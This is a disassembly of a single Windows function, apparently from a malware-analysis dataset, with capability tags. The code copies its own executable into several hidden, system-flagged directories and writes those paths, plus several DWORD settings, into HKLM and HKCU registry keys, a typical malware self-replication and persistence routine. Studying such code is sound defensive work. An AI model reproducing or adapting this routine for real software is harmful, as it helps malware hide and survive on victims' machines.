Function at 0x402b40
Capabilities:
Copy file
Create directory
Get common file path
Set file attributes
Set registry value

Disassembly:
sub esp, 0xc
mov eax, dword [0x4086b4]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
push 0x208
push 8
push eax
call esi
mov ecx, dword [0x4086b4]
push 0x208
push 8
push ecx
mov edi, eax
call esi
mov edx, dword [0x40862c]
push edx
push 0x103
push edi
mov ebp, eax
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
add esp, 0xc
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 6
push edi
call ebx
mov eax, dword [0x408630]
push eax
push 0x103
push edi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0xc
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 6
push edi
call ebx
mov ecx, dword [0x408634]
push ecx
push 0x103
push edi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
mov edx, dword [0x4086b4]
add esp, 0xc
push 0x208
push 8
push edx
call esi
mov esi, eax
push 0x103
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
mov word [esi + 6], ax
mov word [esi + 8], ax
mov eax, dword [0x408638]
push eax
push 0xff
push esi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
push esi
push 0x101
push ebp
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 6
push esi
call ebx
mov ecx, dword [0x40863c]
push ecx
push 0x101
push ebp
call dword [sym.imp.MSVCR80.dll_wcscat_s]
mov edx, dword [0x408640]
push edx
push 0xff
push esi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0x18
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 6
push ebp
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 6
push esi
call ebx
mov eax, dword [0x408644]
push eax
push 0xff
push esi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
mov ecx, dword [0x408648]
push ecx
push 0x101
push ebp
call dword [sym.imp.MSVCR80.dll_wcscat_s]
mov edx, dword [0x4086b4]
add esp, 0x18
push 0x208
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x103
push eax
push 0
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [esp + 0x18]
push 0
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 6
push ebp
call ebx
mov ecx, dword [esp + 0x18]
push 0
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 6
push esi
call ebx
mov edx, dword [esp + 0x18]
push 0
push edi
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 6
push edi
call ebx
mov eax, dword [esp + 0x20]
sub eax, 1
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jne 0x402dd0
mov ecx, dword [0x40864c]
lea eax, [esp + 0x10]
push eax
push 2
push 0
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x402d33
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, edi
lea edx, [eax + 2]
jmp 0x402d40
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402d40
mov ecx, dword [esp + 0x10]
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
mov eax, dword [0x408650]
push edx
push edi
push 1
push 0
push eax
push ecx
call ebx
mov eax, esi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402d70
mov ecx, dword [esp + 0x10]
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
mov eax, dword [0x408654]
push edx
push esi
push 1
push 0
push eax
push ecx
call ebx
mov eax, ebp
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402da0
mov ecx, dword [esp + 0x10]
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
mov eax, dword [0x408658]
push edx
push ebp
push 1
push 0
push eax
push ecx
call ebx
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x40865c]
lea eax, [esp + 0x10]
push eax
push 2
push 0
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402d29
mov eax, edi
lea edx, [eax + 2]
jmp 0x402e00
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402e00
mov ecx, dword [esp + 0x10]
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
mov eax, dword [0x408660]
push edx
push edi
push 1
push 0
push eax
push ecx
call ebx
test eax, eax
jne 0x402d29
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402e32
mov ecx, dword [esp + 0x10]
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
mov eax, dword [0x408664]
push edx
push esi
push 1
push 0
push eax
push ecx
call ebx
test eax, eax
jne 0x402d29
mov eax, ebp
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402e64
mov ecx, dword [esp + 0x10]
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
mov eax, dword [0x408668]
push edx
push ebp
push 1
push 0
push eax
push ecx
call ebx
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call esi
mov ecx, dword [0x40866c]
lea eax, [esp + 0x10]
push eax
push 2
push 0
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402d29
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push eax
mov eax, dword [0x408670]
push eax
push ecx
mov dword [esp + 0x2c], 2
call ebx
test eax, eax
jne 0x402d29
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push eax
mov dword [esp + 0x24], eax
mov eax, dword [0x408674]
push eax
push ecx
call ebx
test eax, eax
jne 0x402d29
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push eax
mov eax, dword [0x408678]
push eax
push ecx
call ebx
test eax, eax
jne 0x402d29
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push eax
mov eax, dword [0x40867c]
push eax
push ecx
mov dword [esp + 0x2c], 1
call ebx
test eax, eax
jne 0x402d29
mov edx, dword [esp + 0x10]
push edx
call esi
mov eax, dword [0x4086b4]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push 0
push eax
call esi
mov ecx, dword [0x4086b4]
push ebp
push 0
push ecx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xc
ret